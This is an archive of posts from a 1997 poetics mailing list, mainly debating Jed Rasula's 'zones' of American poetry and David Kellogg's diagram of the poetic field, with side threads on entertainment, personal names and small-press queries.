So, pick your target: fetish, s/m, dna, hetero, homo, repro, sublimation, consumation, conflagration, the gaze, the Look, the lock, the haves, the have-nots, the cunts, the cocks, teledildonics, Freud, fraud, fried, freak, implant-love, border-crossers, cross-dressers, sex-changers, chicken-sexers (can't tell'm apart -- chickens that is-- w/o yer manual), celebates, cerebrates, celebrant swinger/orgy/baccanaliasts, one-handers, lonely-hearts, no-hearts, mechanical hearts, (oops, no sex there! hmm....), cyber-sexo-tekno-oedipo-shmedipo, elektric, tantroid, latex-dipped, mutant futur-phreaks--- you tell us. You know where we are, you know what we do. Help allay our confusion or: confuse us even more. We await your orchid.

****

As always, new and inovative approaches to the arrangement of knowledge/information welcomed.

http://www.pd.org

general information: [redacted]

p e r f o r a t i o n s: [redacted]

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POB 8899
Atlanta, GA
30306-0899

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342. Miekal And
illusion futures exchange
Tue 11 Feb 1997

[redacted] wrote:

> *the problem, or controversy, stems from those who are feeling persistently neglected in specific circles... and what to do about such neglect, assuming for a moment that it's *real*...*

from my vantage point, perched here on the verdant edge of institutionalia, Im personally less concerned about the practices & intellect informing the consumers & the commidifers of poetry & have been more participant in the endlessly unfolding social sphere amid the actions of poetry itself, writing, publishing, NETWORKING, trying to be moderately responsible for helping to distribute a tiny segment of others in my networks who are working in similar streams. with editing xexoxial editions we have tried to purposefully chose each title as if it represented its own territory, its own category & put it along side of something that may seem contradictory in context, for instance where does the work of Bruce Andrews intersect the work of Bern Porter. in writing our way forward toward less stringent collectivity, these threads & pathways should be hyperwebs threading themselves in & out of every possibility. so for me, even david kellog's diagram of the virtual field of poetry is still too foreground & flat to accurately depict all the uncategorizable layers of languaging. (tho such an open field over staid categories, is muchly preferable.)

miekal

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343. Ron Silliman
Zones v. Zoos
Tue 11 Feb 1997

David,

I'm a sufficiently unreconstructed structuralist to find your box below enormously elegant and lovely to think about (and I shall for some while to come, actually), but in some ways I think it replicates the same sort of problem I find with Rasula's concept of Zones, which is a spatialized implication that the categories about the box are in any way equivalent and function in a (however rough) like manner. In fact, each opens onto radically different dynamics, and it is precisely the interaction of those dynamics that turns a simple discussion like this one into something far more complex (akin to defining the butterfly effect in Mongolia vis a vis a *specific* gust of wind off Lake Michigan). Consider, for example, how an Althusserian conception of ideology (that interpellation of identity: "Hey, you") functions within each category.

In some sense, that is why the diagrams of Spicer's (from, I believe, the Magick Workshop) are so appealing. It is precisely the constellative play that needs to be brought forward.

I've argued before, and I'll argue again, no doubt, that what is described in your box as Innovation is, ultimately, no such thing but is felt need, a sense of lack, that drives one (rather blindly) toward something the individual cannot name but must use her/his writing to uncover/discover for her/himself.

How does this solve the problem of where St Marks Books ought to place Fiona's book, or whether Rosmarie Waldrop should have labelled My Life as a "novel" or the befuddlement booksellers everywhere felt towards the collaborative project that was Leningrad (travel book, poem, memoir, current events?). In your diagram, genre is (or at least seems to be) some intersection between community and tradition. But what, precisely, is tradition if it ain't community?? Is we a lion or is we a moose?

Consider, for example, that non-group posed by Forrest Gander. Several of the folks on that list--Taggart, Cole and Sobin, say (and to some degree Palmer)--all share enough features to compose a group of their own except that the Loner status with all its aching pretentiousness is one of its major preconditions. All of them are male second generation Black Mountain poets whose work is notably more timid than that of their elders. And all of them are too much in love with a certain codified sense of Beauty, tho it plays out in very different ways from person to person (except that for all it comes across as some variant of nostalgia). We could build a slightly larger circle here and toss in some other folk who fit the category, such as Augie Keinzhaler, George Evans, Eliot Weinberger. What keeps these folks from being a group is precisely the AntiGroup politics they pursue. Which has an interesting political edge to it, especially when as in Eliot's case it comes across sounding ultraleftist with an echo of Pat Buchanan.

Another cluster of writers who could be legitimately grouped would be poets who were trained ("educated" in the most literal sense) within the academic poetics of the free verse '60s mode who have sometimes been associated with langpo, largely because they have very lively minds and can't keep their work from having lots of snap and pop at all points: Gander himself is an example, as are C.D. Wright, Jorie Graham, Ann Lauterbach and Bob Hass. These writers (and here is where Palmer would come in again) have a more complicated relation to questions of community and tradition and a very ambivalent stance toward innovation.

Now, as a thought experiment, if we built these two clusters as poles or horizons of what might be possible, where on a map might we place them and how would we then triangulate the writing, say, of the recent work of Bob Perelman? While I agree that Charles' work is in many ways extremely traditional, Perelman's recent pieces (e.g. The Manchurian Candidate, the poems from The Marginalization of Poetry, The False Dreams) seem to arrive at a traditionalism felt precisely as that lack I was talking about above. In this sense, Bob seems a case (not the only one--Frank Stanford's interesting to think about in so many of these terms because he may be the one real outsider of the past 50 years in US poetry) in which the categories have all been stood on their head. No?

Ron Silliman

Date: Mon, 10 Feb 1997 12:50:52 -0500
From: David Kellogg <[redacted]
Subject: Rasula and poetry zones

Pardon the lengthy description of my own work. I post this here because it is relevant to the discussion, and also because I'd like to hear from folks who object to my account, so as to strengthen it. So here goes:

Although I find Rasula's account of the four "zones" of poetry compelling, Joseph Lease and Forrest Gander rightly point to problems with zones as an operative category. Assigning particular poets to one or another zone is only one of these problems. There are always exceptions, such as Lauterbach and Gander himself, and the New Formalism seems, as Lease pointed out, a blip on the poetic horizon, fast becoming (if it hasn't already become) insignificant.

Rasula has his finger on something important, however. In my own work-in-progress on the poetic field (for an abstract, see "http://www.duke.edu/~kellogg/sri.html"), I conceive these zones as abstractions, POLES OF VALUE within the contemporary construction of poetic practice. (This work is obviously indebted to Pierre Bourdieu in ways that I don't have time to explain right now.) What Rasula identifies as the MFA school corresponds more or less to a poetry predicated on uncomplicated representations of Self. Against this obviously is the poetry of social conflict, community building, identity politics, etc. Call the struggle between these two poles the horizontal (social) axis of the poetic field. Appeal to one or another of these sources of value has little to do with form as such. What I call the formal, or "vertical" axis of the poetic field comprises both NF and LP, but without naming them. While the New Formalism is fading fast, the appeal to "tradition" still operates within a lot of contemporary poetry, even language poetry as it becomes canonically interesting. (I am speaking sociologically; I don't mean "interesting" as an evaluative comment.) Against the appeal to "tradition" one could place an appeal to "innovation." So that the contemporary poetic field looks more or less like this:

```
                TRADITION
        ---------------------------------------
        |                                     |
        |                                     |
    SELF |        [the poetic field]        | COMMUNITY
        |                                     |
        |                                     |
        ---------------------------------------
                INNOVATION
```

It seems to me that this kind of a model is more flexible than a model which operates in terms of "zones" or "schools." As New Formalism fades, the appeal to tradition is still operative. As language poetry becomes (to paraphrase Ron Silliman) more of a moment than a movement, other possibilities begin to inhabit the arena close to innovation. Obviously much language poetry would still be placed close to the "innovation" pole, but individual poets' work could be read at various places within the field. Moreover, poets might _move_, or be moved, as the vicissitudes of canonization affect perception and reading. (Charles Bernstein's work seems a lot more "traditional" now -- what with various historical accounts of language poetry by Beach, Perelman, etc., and what with the recovery of Stein and Zukofsky, and _The Tennis Court Oath_ for a broader audience in various critical accounts -- than he did in, say, 1980. Also, Bernstein's own criticism has helped create the traditional context for his work.) One could also place individual poems, "schools" (Iowa, Brown, Buffalo), and institutions at various points within the field.

Well, whaddaya think? Does this account via poles of value escape some of the problematics of the zone/school?

Cheers,
David
~~~
~~~

"Bromig," a yugoslav (as there then were) who wrote about chemistry. But we have a David Bromwich at Yale, I think, whose direction is quite other than mine from the little i know. I was twice mistaken for him, the funnier time being when i was invited to read at a soCal college (at the instigation of a friend who taught there)by the person responsible who then introduced me as the author of many fine essays. Well, and so i am, but they havent been collected, and too fugitive i wd have thought to be known to this young man. It unraveled slowly.

My name is hard to establish pronunciation of--our branch said "Brahm-idge" and so do i. If i had it to do over, i'd use my middle name, Mansfield, as a surname. "Take my advice, you still wellnigh anonymous persons out there" coin yr own name (e.g. Miekal And, Jay Gatsby, Bob Dylan. . .). Engleburt Humperdinck rmeains one of the more attractively outrageous handles, but cd hardly have been invented?

For many years, Bob G R E N I E R shared a house with Larry E I G N E R. (That wd be the Grenier who wrote the short poem PTOLEMY/ TUOLOME .)

Imagine having the cosmic good fortune as a poet to be born a Wordsworth. db.

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345. Mark Wallace
entertainment and pleasure
Tue 11 Feb 1997

Hello Mark Scroggins:

Good to hear from you on the list--I saw your announcement several weeks ago about your U-Alabama book on Zukovsky. Is the book now available?

You ask me if there's a "puritan strain" in my critique of entertainment, and wonder what would happen if I had used the word "pleasure" instead of "entertainment"? But in fact the words seem to me CRUCIALLY DIFFERENT words. Actually, I don't think I rejected the notion of entertainment, but just the notion that EVERYTHING MUST BE ENTERTAINMENT when it is not economic work, and I think very clearly that it was the modern media environment suggests--there is a time for profit making, and a time for entertainment. But "entertainment" is only one aspect of pleasure, even of play--that there might be more complex elements of pleasure and play than that simply of casual entertainment is something that the modern media complex does not wish its subjects to know. Hey, I love entertainment, but not when it's the only kind of "pleasure" that's made widely available. I suppose entertainment does have its active elements, but a more thorough notion of play might suggest that play involves the ability to radically reformulate identity in the name of what gives pleasure, whereas entertainment represents the more limited notion of

"relaxing"--i.e., taking time off from the labor that you have had at best limited choice in undertaking.

Please excuse typos-this modem won't let me correct them today!

Actually, Mark, on another subject--I'd be interested to hear a brief description of what you take to be the central issues to Zukovksy criticism at the moment. Yes, I'm sure it's in the book, but a preview here would be most welcome...

mark wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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346. **Charles Alexander**
Re: Names are not Objects
Tue 11 Feb 1997

Mother: Bessie Meryle (she dropped the Bessie early)
Her twin brother: Jessie Earl (he became "Buddy")

Other aunts & uncles:

Elmo
Moddybelle
Allie
Millie
Goldie
Archibald
Ivory

(and then the assorted really odd ones, like Joe, Paul, Bob, George, etc.)

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347. **amato**
Re: Zones v. Zoos
Tue 11 Feb 1997

---

like ron, i see a problem with *any* spacialization of diverse human practices, such as "zone" would imply... but let's do recall that rasula offered such zones as: (1) configured in accordance with the "genealogical contours of

contemporary american poetry"; and (2) that he was clear in arguing that these zones were "utterly disproportionate in terms of size, material resources, and internal stability"...

now in fact the spatial metaphor permeates rasula's text---a museum is a space that serves in effect to freeze time... this negative reading of historical-institutional space is what informs rasula's polemic...

so while it's true that we may be able to come up with more fluid or diachronic metaphors to describe the various poetry alliances (or "institutional consolidations," to use another of rasula's terms) out there---if we're so inclined, i mean---it's likewise the case that something has to "explain" the wax museum effect rasula has spent so many pages detailing...

unless of course one doesn't see things (t)his way... i do, for reasons i've detailed mself elsewhere... yet i can imagine other readings of poetic practice over the past fifty years, readings that might emphasize other sorts of effects... and i do believe that recent developments online and in slam quarters have complicated the scenario of zone 4 as such...

best,

joe

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348. **Keith Tuma**
Re: Zones v. Zoos
Tue 11 Feb 1997

Very subtle, Ron, those projections of value you offer to counter Kellogg's grid as it (in your view) creates equivalences (equal valences).

So we're to believe that Taggart and Sobin are nostalgic, and pretentious to boot? Second generation watered down Black Mountain? (And Cole Swensen got accidentally tossed in THAT pile).

On the other hand Hass and Graham etc. are like langpo in that they "can't help" from having "snap and pop"? Langpo charges the mountains of the MacArthur? Add some crackle to that snap and pop so we're SURE you're not just spillin milk. "Lively minds" indeed. And blunt polemic.

And what exactly do you mean by saying that "traditions"--practices--are the same thing as "community"--those bound together however loosely and with whatever opportunity for innovation and transformation or resistance etc. BY a whole BUNCH of practices/traditions? You'll have to explain that one to me.

best,
Keith Tuma

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349. **Pritchett,Pat**
Re: Notley redux
Tue 11 Feb 1997

Does anyone out there in List Land know where I can obtain a copy of Alice Notley's _Selected Poems_ (or anything else by her other than _Alette_)? Can I order direct from Talisman? I'm tired of lugging these library copies around... Backchannel, please.

Thanks,
Patrick Pritchett
[redacted]

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350. **Charles Alexander**
Re: Zones v. Zoos
Tue 11 Feb 1997

> *now in fact the spatial metaphor permeates rasula's text---a museum is a space that serves in effect to freeze time...*

This is just an aside to this thread, but I find this statement an unfortunate stereotype, although one I understand. Seems to me that most good contemporary museums (or those trying to be good and better) are acting these days as community art centers, art activists, and more. The definition of "museum" is not at all stable. And certainly the "buildings" are not necessarily what constitute the museum as an organization or entity. While I have argued specifically with every museum I've ever been around, about exhibitions, particular programs, and more -- I have immense admiration for the people in them and their attempts to make art a part of people's lives in engaging, challenging ways. Unfortunately I have not yet read Jed Rasula's book, but perhaps a reading of his museum as part of this wider movement which includes "museums without walls" and more, would serve him well.

charles alexander

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351. **sschu30844**
Re: Amiri Baraka
Tue 11 Feb 1997

Who is Charles Mingus's grandson? (I'm a huge Mingus fan these days; loved the idea of teaching him and Hart Crane at the same time.) sms

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352. henry
Re: entertainment and pleasure
Tue 11 Feb 1997

---

entertainment = ethos(accepted values) + pathos(feeling) - logos(:meaningless)

propaganda = pathos + logos(meaning/originality) - ethos(:false values)

art = ethos + logos + pathos

(courtesy of Aristotle)

- Henry Gould

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353. David Kellogg
Re: Rasula and poetry zones
Tue 11 Feb 1997

On Mon, 10 Feb 1997, Wendy Battin wrote:

> *On Mon, 10 Feb 1997, David Kellogg wrote:*
> *What Rasula identifies as the MFA*
> *school corresponds more or less to a poetry predicated on uncomplicated*
> *representations of Self. Against this obviously is the poetry of social*
> *conflict, community building, identity politics, etc.*
>
> *David, could you say what's "obvious" about this? I'd have thought there*
> *were other alternatives to "uncomplicated representations of Self"*
> *(complicated ones? nonrepresentational ones? zen observation?) that*
> *don't partake very directly of identity politics.*

Alternatives, yes. Oppositions, I'm not sure. I should have spelled it out more clearly. Let's see. I didn't mean to limit the Self as a pole of value to "uncomplicated" representations; rather, I was trying to stress that such representations (the product of MFA programs and post-confessionalism) currently dominate that end of the social axis. Nonrepresentational or complicated representational investments in the self might be situated somewhere in the corner where self and innovation meet. Zen observation might be read as innovative in some communities and traditional in others. It might also be seen as invested in the Community pole, which is not limited to identity politics.

These are not fixed categories; they are meant descriptively to account for some of the ways in which poetic oppositions get socially represented (and also to describe the academic process of contemporary canon- and value-construction).

I think you're right, however, to point to the Community pole of value as the wink link in my account, and the most tentative. A bunch of disparate stuff must necessarily get thrown in there. I'm trying to figure out a way of mapping my sense that various resistances to the Self as a source of value have something in common.

One could present it in terms of a Greimas square (Self, Tradition, Not-Self [Community], Not-Tradition [Innovation]). But I'm not sure where it would go from there.

Cheers,
David
~~~
~~~

-- Thomas Kinsella

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355. **Tom Beard**
Re: Provoking the stretch
Tue 11 Feb 1997

> *the original LangPo label (in all its permutations:*
> *language writing etc.) was really initially a tactic, used by a loose*
> *group, to call attention to certain things...It's still useful, in*
> *reference to that group. Nobody's gonna come along & forcibly conscript*
> *you into the language army!*

Nope, I don't feel in any danger of conscription (though I've played around on the avant-garde assault course for a while, and toy with the idea of joining the territorials). I just get the feeling sometime (and this may be a wrong impression on my part) that some people use the terms "language writing" and "linguistically innovative" interchangably, and I didn't like the implication that non-"language" writing couldn't be linguistically innovative.

Cheers &c,

Tom.

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356. **amato**
Re: Zones v. Zoos
Tue 11 Feb 1997

miekal -- you articulate well what one response to poetic practice --- through publishing and distribution -- might be... and as you might guess, it's one with which i'm entirely sympathetic (if this don't sound condescending i mean)...

charles a. -- yo, i didn't mean to slam "museums" as such... rasula in fact invokes a *wax* museum, but (to simplify) he does use associated theorizing that tends to regard the museum impulse as partipating in the general drift of (other) carceral institutions (think foucault)... still, i would of course have to agree that not all museums are created equal...

best,

joe

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357. **Joseph Lease**
Re: the future of an illusion
Tue 11 Feb 1997

---

just want to add that I certainly agree that in some crucial respects the zones are not escpecially fluid: I can think of many many many examples of great poets whose treatment or lack thereof by any of the various zone authority stuctures makes me wanna holler.

Of course.

my point was that any description of zones of aesthetics and politics does provide us with several chances:

the chance to describe some of the particulars through which aesthetics and politics are interconnected

the chance to acknowledge that the sociology of poetry can change (though it may remain frustrating to those who long for real conversation)

more soon

Joseph

On Mon, 10 Feb 1997 [redacted] wrote:

> *i've got to agree with mark wallace's last post on must-ing in poetry...*
>
> *the problem, or controversy, stems from those who are feeling persistently neglected in specific circles... and what to do about such neglect, assuming for a moment that it's *real*...*
>
> *which goes to the question of "schools" of poetry... i think joseph lease is quite correct in pointing to the fluidity of zones... marketing zones, not aesthetic zones -- as wendy battin indicates... but we all know, right?, how distribution, publication, marketing can back-pressure aesthetics... and in some crucial aspects, these zones are not esp. fluid...*
>
> *to take but one example: until andrew levy's appearance here at iit, where i teach, in 1992 (which coincided with my arrival as well), no undergrad. at iit had been exposed to much if anything in the way of contemporary poetry for a good long time... certainly nothing that would constitute zones 3 or 4 of rasula's analysis, and certainly nothing from these zones could even have seeped in accidentally, not to say, programmatically, things here were that stuffy... and things at K-12 are undoubtedly stuffier... of course we don't have any english majors here at iit any longer (had about a half-dozen then maybe)... but the point is that i don't gauge the pertinence of "schools" with whether they correspond to mfa programs -- that is, "schools of poetry" do not necessarily correlate with*

> *"grad. schools of poetry" (many of which i suspect are gradually getting the picture, if only in retrospect, and many of which seem to me to be set up to house perhaps two competing "camps," if that)... one would still have to contend with the status of "craft" in creative writing classrooms in general, and how this is supported by and supports most popularly renowned writing and writing venues (and note that the upcoming u of denver conference is constructed in a crucial way around this notion of "craft" -- i'll be speaking there to this question by addressing "craft" in somewhat unorthodox terms)...*
>
> *anyway... of course the aesthetic reality is much more diverse and messy than ANY notion of "zone" or "school" might suggest... but the problem -- if there's a problem here, and i think there is--- has primarily to do with how zones and schools play out in the marketplace, in our institutions... which, again, is why i make the case that, whatever the requisite autonomy or solitude of a writer's art, once that art enters into the social world, a somewhat different perspective is necessary to understand what's going on in practical terms... that is, unless one is willing to hallucinate about the social sphere, i think one MUST accept this---ergo something like the paradox that mark unpacks, but here a function of critical position as opposed to aesthetic production... it may be that this is the proviso lurking in the difference between such practices...*
>
> *best,*
>
> *joe*

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358. **Mark Prejsnar**
Re: poetry "schools"
Tue 11 Feb 1997

Chris Alexander has a good point--I was willing to cut Publishers Weekly some slack on the idea of named "camps" on the ground that they're involved with marketing, & however much I'm not personally in sympathy with the bulk of commercial trade publishing & its marketing mechanisms, I see that given our actually-existing-capitalist-culture they're almost predestined to use catagories like this....But Chris's point is I think vital: in general, the most appallingly inert workshop verse is considered commercially marginal, increasingly, by the retail book trade. (This has alot to do with the drive toward chain monopolization; to some extent it's cause & effect, to some extent they are both outcomes of the same homogenization/centralization mechanisms acting in culture, in tandem with rightwing social agendas) To what extent is identifying nonmainstream trends, giving 'em labels & profiles, simply helping much of the book trade pin-

point what they don't want to stock, what won't help them in theri increasingly single-minded drive to maximize profits at the cost of social and cultural values?

Mark Prejsnar

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359. Jordan Davis
more entertainment value (here we are now)
Tue 11 Feb 1997

---

so is there are there an audience keeping score of these remarks. sorry, this modem won't let me think -- not our photographs, but the map, is that how we are to be beautiful. Now what is the zinfandel. You are a really beautiful map. Why is it important to relax. I/They. Because nobody's driving the state brown decades. who can do the palace of those outside. Pressure is substituted for a rain. Close up and save your work the powers that acknowledge our shifts must give me a house I am interested. Helmet head. Political nice guy, reprise your sleepy value. My name.

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360. Joseph Lease
Re: Zones v. Zoos
Tue 11 Feb 1997

---

the social fact is that either all poets are outsiders or no poets are outsiders or all poets are outsiders in some ways at some times: yes this is a politics though not in a particularly Althusserian way: it's ethically wrong to accuse poets who start from where they are rather than a neomarxist meta-narrative (progressivist, foundational) of being some emotional tonality one wants to dispraise since emotional tonalities appear across the board in various political camps

I'd like to know if Ron Silliman agrees with Foucault that identity is plural and the purpose of effective history (counter history, radical history) is to dissipate it: this position is in severe conflict with Althusser

On Tue, 11 Feb 1997, Ron Silliman wrote:

> *David,*
>
> *I'm a sufficiently unreconstructed structuralist to find your box below enormously elegant and lovely to think about (and I shall for some while to come, actually), but in some ways I think it replicates the same sort of problem I find with Rasula's concept of Zones, which is a spatialized implication that the categories about the box are in any way equivalent and function in a (however rough) like manner. In fact, each opens onto radically different dynamics, and it is precisely the*

*interaction of those dynamics that turns a simple discussion like this one into something far more complex (akin to defining the butterfly effect in Mongolia vis a vis a *specific* gust of wind off Lake Michigan). Consider, for example, how an Althusserian conception of ideology (that interpellation of identity: "Hey, you") functions within each category.*

In some sense, that is why the diagrams of Spicer's (from, I believe, the Magick Workshop) are so appealing. It is precisely the constellative play that needs to be brought forward.

I've argued before, and I'll argue again, no doubt, that what is described in your box as Innovation is, ultimately, no such thing but is felt need, a sense of lack, that drives one (rather blindly) toward something the individual cannot name but must use her/his writing to uncover/discover for her/himself.

How does this solve the problem of where St Marks Books ought to place Fiona's book, or whether Rosmarie Waldrop should have labelled My Life as a "novel" or the befuddlement booksellers everywhere felt towards the collaborative project that was Leningrad (travel book, poem, memoir, current events?). In your diagram, genre is (or at least seems to be) some intersection between community and tradition. But what, precisely, is tradition if it ain't community?? Is we a lion or is we a moose?

Consider, for example, that non-group posed by Forrest Gander. Several of the folks on that list--Taggart, Cole and Sobin, say (and to some degree Palmer)--all share enough features to compose a group of their own except that the Loner status with all its aching pretentiousness is one of its major preconditions. All of them are male second generation Black Mountain poets whose work is notably more timid than that of their elders. And all of them are too much in love with a certain codified sense of Beauty, tho it plays out in very different ways from person to person (except that for all it comes across as some variant of nostalgia). We could build a slightly larger circle here and toss in some other folk who fit the category, such as Augie Keinzhaler, George Evans, Eliot Weinberger. What keeps these folks from being a group is precisely the AntiGroup politics they pursue. Which has an interesting political edge to it, especially when as in Eliot's case it comes across sounding ultraleftist with an echo of Pat Buchanan.

Another cluster of writers who could be legitimately grouped would be poets who were trained ("educated" in the most literal sense) within the academic poetics of the free verse '60s mode who have sometimes been associated with langpo, largely because they have very lively minds and can't keep their work from having lots of snap and pop at all points: Gander himself is an example, as are C.D. Wright, Jorie Graham,

Ann Lauterbach and Bob Hass. These writers (and here is where Palmer would come in again) have a more complicated relation to questions of community and tradition and a very ambivalent stance toward innovation.

Now, as a thought experiment, if we built these two clusters as poles or horizons of what might be possible, where on a map might we place them and how would we then triangulate the writing, say, of the recent work of Bob Perelman? While I agree that Charles' work is in many ways extremely traditional, Perelman's recent pieces (e.g. The Manchurian Candidate, the poems from The Marginalization of Poetry, The False Dreams) seem to arrive at a traditionalism felt precisely as that lack I was talking about above. In this sense, Bob seems a case (not the only one--Frank Stanford's interesting to think about in so many of these terms because he may be the one real outsider of the past 50 years in US poetry) in which the categories have all been stood on their head. No?

Ron Silliman

Date: Mon, 10 Feb 1997 12:50:52 -0500
From: David Kellogg <[redacted]
Subject: Rasula and poetry zones

Pardon the lengthy description of my own work. I post this here because it is relevant to the discussion, and also because I'd like to hear from folks who object to my account, so as to strengthen it. So here goes:

Although I find Rasula's account of the four "zones" of poetry compelling, Joseph Lease and Forrest Gander rightly point to problems with zones as an operative category. Assigning particular poets to one or another zone is only one of these problems. There are always exceptions, such as Lauterbach and Gander himself, and the New Formalism seems, as Lease pointed out, a blip on the poetic horizon, fast becoming (if it hasn't already become) insignificant.

Rasula has his finger on something important, however. In my own work-in-progress on the poetic field (for an abstract, see "http://www.duke.edu/~kellogg/sri.html"), I conceive these zones as abstractions, POLES OF VALUE within the contemporary construction of poetic practice. (This work is obviously indebted to Pierre Bourdieu in ways that I don't have time to explain right now.) What Rasula identifies as the MFA school corresponds more or less to a poetry predicated on uncomplicated representations of Self. Against this obviously is the poetry of social conflict, community building, identity politics, etc. Call the struggle between these two poles the

horizontal (social) axis of the poetic field. Appeal to one or another of these sources of value has little to do with form as such. What I call the formal, or "vertical" axis of the poetic field comprises both NF and LP, but without naming them. While the New Formalism is fading fast, the appeal to "tradition" still operates within a lot of contemporary poetry, even language poetry as it becomes canonically interesting. (I am speaking sociologically; I don't mean "interesting" as an evaluative comment.) Against the appeal to "tradition" one could place an appeal to "innovation." So that the contemporary poetic field looks more or less like this:

```
                    TRADITION
        ---------------------------------------
        |                             |
        |                             |
    SELF |        [the poetic field]        | COMMUNITY
        |                             |
        |                             |
        ---------------------------------------
                    INNOVATION
```

It seems to me that this kind of a model is more flexible than a model which operates in terms of "zones" or "schools." As New Formalism fades, the appeal to tradition is still operative. As language poetry becomes (to paraphrase Ron Silliman) more of a moment than a movement, other possibilities begin to inhabit the arena close to innovation. Obviously much language poetry would still be placed close to the "innovation" pole, but individual poets' work could be read at various places within the field. Moreover, poets might _move_, or be moved, as the vicissitudes of canonization affect perception and reading. (Charles Bernstein's work seems a lot more "traditional" now -- what with various historical accounts of language poetry by Beach, Perelman, etc., and what with the recovery of Stein and Zukofsky, and _The Tennis Court Oath_ for a broader audience in various critical accounts -- than he did in, say, 1980. Also, Bernstein's own criticism has helped create the traditional context for his work.) One could also place individual poems, "schools" (Iowa, Brown, Buffalo), and institutions at various points within the field.

Well, whaddaya think? Does this account via poles of value escape some of the problematics of the zone/school?

Cheers,
David
*~~~

> *Box 90023, Duke University* [redacted]
> *Durham, NC 27708* *FAX* [redacted]
> *http://www.duke.edu/~kellogg/*
>
> *There is no mantle*
> *and it does not descend.*
> *--Thomas Kinsella*
>
> ----------

↑ Index

361. **linda v. russo**
ironwood query
Tue 11 Feb 1997

---

does anyone know what michael cuddihy is doing
these days? does he still have backissues of
ironwood? is he still at box 40907, tuscon?
or online? why did ironwood fold? is there some archived
info i can turn to?

also, i'd be interested in a list/stories abt small
yet substantial -- say a couple to several years running --
poetics/poetry journals that folded in the past oh, 20 yrs.

backchannel o.k.

thx. linda.
--
linda v. russo
[redacted]

↑ Index

362. **linda v. russo**
Re: Names are not Objects
Tue 11 Feb 1997

> *you also have an uncle shiny & an uncle bougie.*
> *not sure about the spelling.*

shiney b/c when he was born nunno said that
he was shiney as a piece of coal
(this was schukyll county, PA)

how did you know the word 'bougie'?
do you did they used to use candles to dilate body canals?

i think he'd rather be uncle buschzy!

--
linda v. russo
[redacted]

↑ Index

363. **Aldon L. Nielsen**
Re: Rasula and poetry zones
Tue 11 Feb 1997

---

with "wink link" David Kellog has gifted us with the most intriguingly poetic typo of the week (assuming it is in fact an error)

powerfully descriptive --

↑ Index

364. **David Israel**
Re: Rasula and poetry zones
Tue 11 Feb 1997

David Kellogg suggests --

<<<
Nonrepresentational or complicated representational investments
in the self might be situated somewhere in the corner where self
and innovation meet. . . .
>>>

(in the half-light there, below the window ledge, ya mean?)

↑ Index

365. **dbkk**
Re: Zones v. Zoos
Tue 11 Feb 1997

At 11:51 AM -0500 2/11/97, Keith Tuma wrote:

> *So we're to believe that Taggart and Sobin are nostalgic, and pretentious to boot? Second generation watered down Black Mountain? (And Cole Swensen got accidentally tossed in THAT pile).*

Oddly, Keith, I thought that Ron meant Norma Cole in his list:

> *Consider, for example, that non-group posed by Forrest Gander. Several of the folks on that list--Taggart, Cole and Sobin, say (and to some degree Palmer)--all share enough features to compose a group of their*

> *own except that the Loner status with all its aching pretentiousness is one of its major preconditions.*

I don't think Ron would fall into the trap of naming men by their last names and then slip to a first name basis for a woman--I think Ron is much too aware for that.

But then he added:

> *All of them are male second generation Black Mountain poets whose work is notably more timid than that of their elders.*

So I figured it must be some male Cole that I'm not familiar with.

Who is this mysterious Cole?

Dodie

↑ Index

366. **charssmith**
Re: Amiri Baraka
Tue 11 Feb 1997

In a message dated 97-02-11 15:10:26 EST, you write:

<< Who is Charles Mingus's grandson? (I'm a huge Mingus fan these days; loved the idea of teaching him and Hart Crane at the same time.) sms >>

The Bridge meets Pithecanthropus Erectus?

Kevin Mingus is a 20 or 21 year old student at UC Berkeley, who was given his first bass by LA reed master Buddy Collette. Kevin, along with a young Indi-an_American pianist, Vijay Iyer (who's described as drawing on a mix of South Asian music/Ellington/Monk/Taylor), accompanied Amiri Baraka & some other poets last November or December in Oakland. The event got good reviews; I was wondering if any poetix ears had caught it as I was unable to attend.

Charles

↑ Index

367. **Rachel Loden**
Tabula Rasula
Tue 11 Feb 1997

Aldon L. Nielsen wrote:
>
> with "wink link" David Kellog has gifted us with the most intriguingly
> poetic typo of the week (assuming it is in fact an error)

Speaking of Kellogg's "wink link," we've got "snap and pop" from Silliman--can crackle be far behind?

Rachel

↑ Index

368. **Pam Brown**
Re: uni query
Tue 11 Feb 1997

Hello Potics Poets -
Damien has his answer
Thanks
Pam Brown
>Return-Path: <[redacted]>
>Date: Tue, 11 Feb 1997 17:47:37 +1000
>Date-Warning: Date header was inserted by muwayb.ucs.unimelb.edu.au
>From: Damien Broderick <[redacted]>
>Subject: Re: uni query
>X-Sender: [redacted]
>To: Pam Brown <[redacted]>
>
>At 10:57 AM 2/11/97 +1000, you wrote:
>>Hello Damien Broderick -
>>I've sent your query on to the US Poetics list
>
>Hi Pam. Thanks. The mystery is now solved - he'd spelled his own alma
>mater incorrectly. Hmm. Would you mind posting this happy conclusion to yr
>poet mates, so they can call of their diligent bloodhounds?
>
>Regards, Damien
>
>
>

↑ Index

369. **David Israel**
Re: Rasula and poetry zones / wink link
Tue 11 Feb 1997

Aldon L. Nielsen notes --

<<<<
with "wink link" David Kellog has gifted us with the most

intriguingly poetic typo of the week (assuming it is in fact an error)

powerfully descriptive --
>>>>

yes, I noted that -- if you locate your metaphorical cursor on the wink link, it can oftentimes take you places --

(perhaps someone, somewhere may eventually compile email clips analogous to Joan Retallack's artful / chanceful erratum volume?)

↑ Index

370. Pete Landers
Re: Names are not Objects
Tue 11 Feb 1997

There is another guy in my town with my name. Peter Landers bids on houses that are being auction off by banks. One day Peter Landers saw his own name on the list of mortgagees whose homes could be his. Peter Landers was shocked and looked through his property list but did not see the address there. Peter Landers called the bank and they were both confused until they looked Peter Landers up in the phone book. Peter Landers finally met the guy whose calls he has been getting for years. Peter Landers didn't buy Peter Landers' house. We now both use our middle initials.

Peter D. Landers

↑ Index

371. Wendy Battin
Re: Rasula and poetry zones
Tue 11 Feb 1997

David, Thanks for the clarification. I too love "wink link" and wish I had a way of looking at "community" without missing so many frames. What do you do with value placed not in poet's self but in other selves who wouldn't necessarily identify as a community? Message-in-a-bottle writing, I suppose. And there's poetry-of-self that's remarkably effective at a kind of community-building (thinking of the huge audiences Sharon Old's draws, for example, among people who don't pay much attention to poetry. Bly, too.) Just wondering out loud here, & your thoughts wd be welcome.

> *One could present it in terms of a Greimas square (Self, Tradition, Not-Self [Community], Not-Tradition [Innovation]). But I'm not sure where it would go from there.*

